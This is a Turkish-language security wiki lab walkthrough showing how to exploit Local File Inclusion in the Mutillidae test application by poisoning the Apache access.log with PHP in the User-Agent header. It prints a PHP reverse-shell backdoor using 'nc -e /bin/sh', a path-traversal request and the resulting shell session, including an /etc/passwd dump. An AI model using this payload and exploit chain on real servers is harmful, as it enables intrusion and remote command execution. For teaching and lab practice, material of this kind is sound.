Local File Inclusion Kullanarak Sisteme Arka Kapı Yerleştirme

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Local File Inclusion(LFI) açıklığı barındıran bir sistem üzerine, arka kapı yerleştirerek shell alınması.

Araçlar:

  • NOWASP ( Mutillidae)
  • Burp Suite
  • Netcat

Lab Senaryosu:

LFI açıklığını barındıran, Linux web sunucu üzerinde bulunan web uygulamasına, PHP ile hazırlanmış bir arka kapı yerleştirilecektir. Daha sonra, bu arka kapı ile saldırganın local sisteminden, ters bağlantı ile shell elde edilecektir. Bu senaryodaki işlemler, LFI açıklığı istismari ile gerçekleştirilecektir ve sunucu üzerindeki “access.log” dosyası zehirlenecek, arka kapı PHP formatında buraya atılacaktır. Hedef sisteme atılacak arka kapı, işlevini “netcat” komutunun PHP ile sistemde çalıştırılması ile gerçekleştirecektir.

Atılacak arka kapı:

<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>

Adımlar:

1. Adım: LFI açıklığı, hedef sistem üzerindeki yeri bilinen bazı dosyaların, içeriğinin okunmasına imkan veren bir güvenlik açığıdır. Birçok web geliştiricisi tarafından önemsenmeyen, basite alınan bir açıklık olarak bilinir. Oysa LFI açıklıkları da tıpkı XSS açıklıkları gibi masum görünen ama oldukça tehlikeli açıklıklardandır.

Local sistemimizde, Burp Suite uygulamasını çalıştırdıktan sonra ön tanımlı çalıştığı port 8080 olduğu için (değiştirilmediğini varsayılıp) tarayıcınızdan “127.0.0.1:8080” olarak, proxy ayarlarınızı yapmanız gerekmektedir.

Öncelikle, LFI(Local File Inclusion) açıklığı bulunan web sunucumuza, browser aracılığı ile bir bağlantı isteği gönderiyoruz ve talebimiz hedefe gitmeden önce, Burp Suite üzerinde “Proxy/intercept” altında, aşağıdaki gibi görebilir, değiştirebilir daha sonra sunucuya gönderebilirsiniz.

Talep ettiğimiz sayfa;

http://3.3.3.12/mutillidae/index.php

Dosya:Lfison.png


2. Adım: Mevcut parametreler üzerinde, daha rahat manipule işlemleri gerçekleştirmek için sağ tıklayıp, “Send to Repeater” seçeneğini seçiyoruz. Aşağıda yapılan HTTP talebine ait çeşitli başlık bilgileri vardır. Biz burada, “User-Agent” başlık bilgisi ile ilgileneceğiz.

Aşağıda da bize ait user agent başlık bilgisinin detayları görülebilir.

Dosya:Lfison2.png


3. Adım: “access.log” dosyası, web sunucuya bağlantı kuran kullanıcılara ait çeşitli bilgileri loglar. Bu bilgilerden bazıları şunlardır;

  • Tarih-Saat
  • Source IP adresi
  • HTTP talep türü
  • Talep edilen URL
  • User-Agent bilgisi v.s

“access.log” dosyası kötü konfigüre edilmiş bir çok sunucuda ve özellikle paylaşımlı barındırma hizmeti veren sunucularda, LFI açıklığı ile erişilebilen bir dosyadır. Biz bu log dosyasına GET talebi ile User-Agent parametresine verdiğimiz değeri, hedefe enjekte edeceğiz.

Şimdi saldırı senaryomuza geçmeden önce küçük bir PHP scripti ile access.log dosyasını zehirleyelim. PHP diline ait olan “phpinfo()” fonksiyonunu çalıştırıp hedef üzerindeki etkisine bakalım. Bunun için User-Agent değerine aşağıdaki PHP scripti yazılır ve hedef sisteme gönderilir.

Dosya:Lfison3.png


4. Adım: Bu aşamadan sonra hedef sistem üzerinde LFI açıklığı kullanılarak, aşağıdaki gibi access.log dosyası çağrıldığında, bizim user-agent olarak gönderdiğimiz PHP scripti ilgili sayfada çalışacaktır. Aşağıdaki ekran görüntüsünde de görülebileceği gibi hedefe ait PHP bilgilerini, ekrana verecektir.

Dosya:Lfison4.png


5. Adım: LFI açıklığı barındıran hedef sistemde, bize reverse shell verecek PHP scriptimizi (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) User-Agent olarak kullanıp, Burp Suite ile hedefe bir GET talebinde bulunuyoruz. Aşağıda yaptığımız HTTP istek ve dönülen HTTP cevap bilgisi görülebilir.

Dosya:Lfison5.png


Yukarıdaki PHP scriptini (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) user agent olarak kullanıp, hedef sistemin access.log dosyasına kaydettirdikten sonra browser aracılığıyla veya aşağıdaki gibi curl ile hedef sistemdeki bu dosyayayı çağırmamız, shell almamız için yeterli olacaktır.

6. Adım: 5. Adımdaki sayfaya bağlantı isteğinden önce local sistemimizde 9090 portunu “netcat” ile dinleme moduna almış olmamız gerekiyor. Aşağıdaki gibi netcat ile ilgili port dinleme moduna alınabilir.

sh-3.2#  nc -lv -p 9090
listening on [any] 9090 ...

Ters bağlantı yapılacak portumuzu, dinleme moduna aldıktan sonra curl ile sayfayı çağıralım;

7.Adım:

sh-3.2#
curl –s http://3.3.3.12/mutillidae/index.php?page=../../../../../../../../../var/log/apache2/access.log

Burada access.log dosyasının ekran görüntüsü çok büyük olduğu için verilmemiştir. Siz browser aracılığı ile de çağırabilirsiniz. URL çağrıldıktan sonra 3.3.3.10 IP adresine sahip local sistemimizde, dinleme moduna aldığımız “netcat” oturumuna bir bağlantının geldiğini, aşağıdaki gibi görebilirsiniz. Bundan sonra vereceğiniz tüm komutlar hedef web sunucunun “/bin/sh” shell'inde çalışacaktır.

sh-3.2#  nc -lv -p 9090
listening on [any] 9090 ...
Warning: forward host lookup failed for n003-000-000-000.static.ge.com: Unknown host : Connection timed out
connect to [3.3.3.12] from n003-000-000-000.static.ge.com [3.3.3.10] 43962

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

w
07:43:17 up 22:46,  7 users,  load average: 0.13, 0.22, 0.14
USER     TTY    FROM               LOGIN@   IDLE   JCPU   PCPU WHAT
root 	tty1  	-        	      	Thu10   44:56m  5:33   0.00s /bin/bash /usr/
root 	pts/0   :0.0     	    	Thu10   43:44m  0.24s  0.24s bash
root 	pts/1   :0.0     	    	Thu11   40:37m  4:57   4:57  /opt/metasploit
root 	pts/2   :0.0     	    	Thu11   15:23m  0.10s  0.10s bash
root 	pts/3   :0.0     	    	Fri09   1:22m  0.35s  0.35s bash
root 	pts/4   :0.0     	    	Fri09   0.00s  0.05s  0.00s nc -lv -p 4444
root 	pts/5   :0.0     	    	Fri09   9:39   0.06s  0.06s bash
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
messagebus:x:104:112::/var/run/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:105:113::/var/lib/mysql:/bin/false
avahi:x:106:114::/var/run/avahi-daemon:/bin/false
snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
usbmux:x:109:46::/home/usbmux:/bin/false
pulse:x:110:116::/var/run/pulse:/bin/false
rtkit:x:111:117::/proc:/bin/false
festival:x:112:29::/home/festival:/bin/false
postgres:x:1000:1000::/home/postgres:/bin/sh
haldaemon:x:113:122:Hardware abstraction layer,,,:/var/run/hald:/bin/false